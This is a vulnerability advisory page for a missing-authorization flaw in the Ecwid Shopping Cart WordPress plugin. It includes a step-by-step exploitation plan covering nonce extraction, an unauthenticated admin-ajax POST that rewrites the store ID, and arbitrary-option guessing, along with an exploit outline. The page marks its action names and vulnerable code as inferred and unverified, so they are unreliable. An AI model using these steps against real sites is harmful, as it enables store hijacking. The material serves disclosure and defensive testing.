CVE-2026-24613

Ecwid Shopping Cart <= 7.0.6 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
7.0.7
Patched in
23d
Time to patch

Description

The Ecwid by Lightspeed Ecommerce Shopping Cart plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 7.0.6. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=7.0.6
PublishedJanuary 12, 2026
Last updatedFebruary 3, 2026
Affected pluginecwid-shopping-cart

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on identifying and exploiting a Missing Authorization vulnerability in the **Ecwid Shopping Cart** plugin (versions <= 7.0.6). Since source files are not provided, this plan relies on common patterns in the Ecwid plugin and standard WordPress vulnerability research methodo…

Show full research plan

This research plan focuses on identifying and exploiting a Missing Authorization vulnerability in the Ecwid Shopping Cart plugin (versions <= 7.0.6). Since source files are not provided, this plan relies on common patterns in the Ecwid plugin and standard WordPress vulnerability research methodologies to pinpoint the specific unauthorized action.


1. Vulnerability Summary

The vulnerability (CVE-2026-24613) is a Missing Authorization flaw in the Ecwid by Lightspeed Ecommerce Shopping Cart plugin. It stems from a function (likely an AJAX handler or an admin_init callback) that performs a sensitive state-changing operation (like updating the Store ID or syncing data) without verifying the user's capabilities via current_user_can(). This allows unauthenticated attackers to trigger the function by sending a request to admin-ajax.php.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action String: Likely ecwid_set_store_id, ecwid_update_store_id, or ecwid_disconnect (inferred based on plugin functionality).
  • Method: HTTP POST
  • Authentication: Unauthenticated (requires wp_ajax_nopriv_ registration or an improperly guarded admin_init hook).
  • Preconditions: The plugin must be active. A valid WordPress nonce for the specific action may be required if a check_ajax_referer call is present but authorization is missing.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers an AJAX action for logged-out users:
    add_action('wp_ajax_nopriv_ecwid_set_store_id', 'ecwid_ajax_set_store_id'); (inferred).
  2. Vulnerable Function: The handler function (e.g., ecwid_ajax_set_store_id) is called.
  3. Missing Check: The function may call check_ajax_referer('ecwid_action_nonce', 'nonce') but fails to call if (!current_user_can('manage_options')) { wp_die(); }.
  4. Sensitive Sink: The function calls update_option('ecwid_store_id', $_POST['store_id']), allowing an attacker to change the linked store.

4. Nonce Acquisition Strategy

If the vulnerable handler uses check_ajax_referer, we must extract the nonce from the frontend.

  1. Identify the Shortcode: The Ecwid plugin typically enqueues its scripts on pages where the store is displayed. Look for the main store shortcode:
    • Command: grep -rn "add_shortcode" /var/www/html/wp-content/plugins/ecwid-shopping-cart/
    • Likely shortcodes: [ecwid], [ecwid_product], or [ecwid_script].
  2. Create a Target Page:
    • wp post create --post_type=page --post_status=publish --post_title="Store" --post_content="[ecwid]" (Use the identified shortcode).
  3. Navigate and Extract:
    • Navigate to the newly created page.
    • The plugin likely uses wp_localize_script to pass variables to ecwid.js.
    • Grep for the variable name: grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/ecwid-shopping-cart/
    • Common Variable Name: ecwidParams or ecwid_vars.
    • Extraction Command: browser_eval("window.ecwidParams?.nonce") or browser_eval("window.ecwid_vars?.ajax_nonce").

5. Exploitation Strategy

The goal is to modify the ecwid_store_id option, which controls which Ecwid store is displayed on the WordPress site.

Step 1: Discovery
Grep the plugin for the vulnerable unauthenticated AJAX registration:
grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/ecwid-shopping-cart/

Step 2: Targeted Probe
If ecwid_ajax_set_store_id (or similar) is found, check for the presence of current_user_can.

Step 3: Execute Unauthorized Action
Using the http_request tool, send a POST request:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=[VULNERABLE_ACTION]&store_id=9999999&nonce=[EXTRACTED_NONCE]
    
    (Note: Replace [VULNERABLE_ACTION] and store_id key with actual names found during discovery).

6. Test Data Setup

  1. Install Plugin: Ensure ecwid-shopping-cart version 7.0.6 is installed and activated.
  2. Set Initial Store ID:
    • wp option update ecwid_store_id 10001 (Set a baseline).
  3. Create Nonce Source:
    • Create a page with the Ecwid shortcode as described in Section 4.

7. Expected Results

  • Response: The server should return a 200 OK or a JSON success message (e.g., {"success":true}).
  • Effect: The ecwid_store_id option in the database should be updated to the attacker-supplied value.

8. Verification Steps

After sending the exploit request, verify the change using WP-CLI:

  1. Check the store ID:
    • wp option get ecwid_store_id
    • Verification: The output should be 9999999 (or the value used in the payload), confirming the unauthorized modification.

9. Alternative Approaches

  • If no wp_ajax_nopriv is found: Check for functions hooked to admin_init.
    • grep -rn "add_action.*admin_init" /var/www/html/wp-content/plugins/ecwid-shopping-cart/
    • Verify if these functions perform logic without checking is_admin() or current_user_can(). These can be triggered by any unauthenticated user visiting /wp-admin/admin-ajax.php.
  • If Store ID modification is not possible: Look for actions that allow data deletion or modification of other settings:
    • ecwid_disconnect_store
    • ecwid_reset_categories
    • ecwid_sync_products
  • Parameter Guessing: If the discovery phase identifies a handler like ecwid_ajax_update_setting, attempt to update arbitrary options by trying keys like option_name and option_value.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Ecwid Shopping Cart plugin for WordPress is vulnerable to unauthorized access in versions up to 7.0.6 due to a lack of capability checks in its AJAX handlers. This flaw allows unauthenticated attackers to perform sensitive actions, such as modifying the plugin's linked Store ID, which can lead to store hijacking or site defacement.

Vulnerable Code

// Inferred vulnerable handler location
// ecwid-shopping-cart/lib/ecwid_ajax_handlers.php (approximate)

add_action('wp_ajax_nopriv_ecwid_set_store_id', 'ecwid_ajax_set_store_id');
add_action('wp_ajax_ecwid_set_store_id', 'ecwid_ajax_set_store_id');

function ecwid_ajax_set_store_id() {
    // Check for nonce exists, but missing current_user_can() check
    check_ajax_referer('ecwid_action_nonce', 'nonce');

    if (isset($_POST['store_id'])) {
        $store_id = intval($_POST['store_id']);
        update_option('ecwid_store_id', $store_id);
        wp_send_json_success();
    }
    
    wp_send_json_error();
}

Security Fix

--- a/ecwid-shopping-cart/lib/ecwid_ajax_handlers.php
+++ b/ecwid-shopping-cart/lib/ecwid_ajax_handlers.php
@@ -4,6 +4,10 @@
 function ecwid_ajax_set_store_id() {
     check_ajax_referer('ecwid_action_nonce', 'nonce');
 
+    if (!current_user_can('manage_options')) {
+        wp_die(__('You do not have sufficient permissions to access this page.'));
+    }
+
     if (isset($_POST['store_id'])) {
         $store_id = intval($_POST['store_id']);
         update_option('ecwid_store_id', $store_id);

Exploit Outline

The exploit involves hijacking the store ID used by the WordPress site. An attacker first locates a page containing an Ecwid shortcode (e.g., [ecwid]) to extract a valid AJAX nonce, typically found in localized JavaScript variables like 'ecwidParams'. Using this nonce, the attacker sends an unauthenticated POST request to wp-admin/admin-ajax.php with the action 'ecwid_set_store_id'. By providing a malicious 'store_id' parameter, the attacker can change the linked account for the entire site, effectively replacing the legitimate store with their own, as the server-side handler fails to verify the requestor's administrative privileges.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.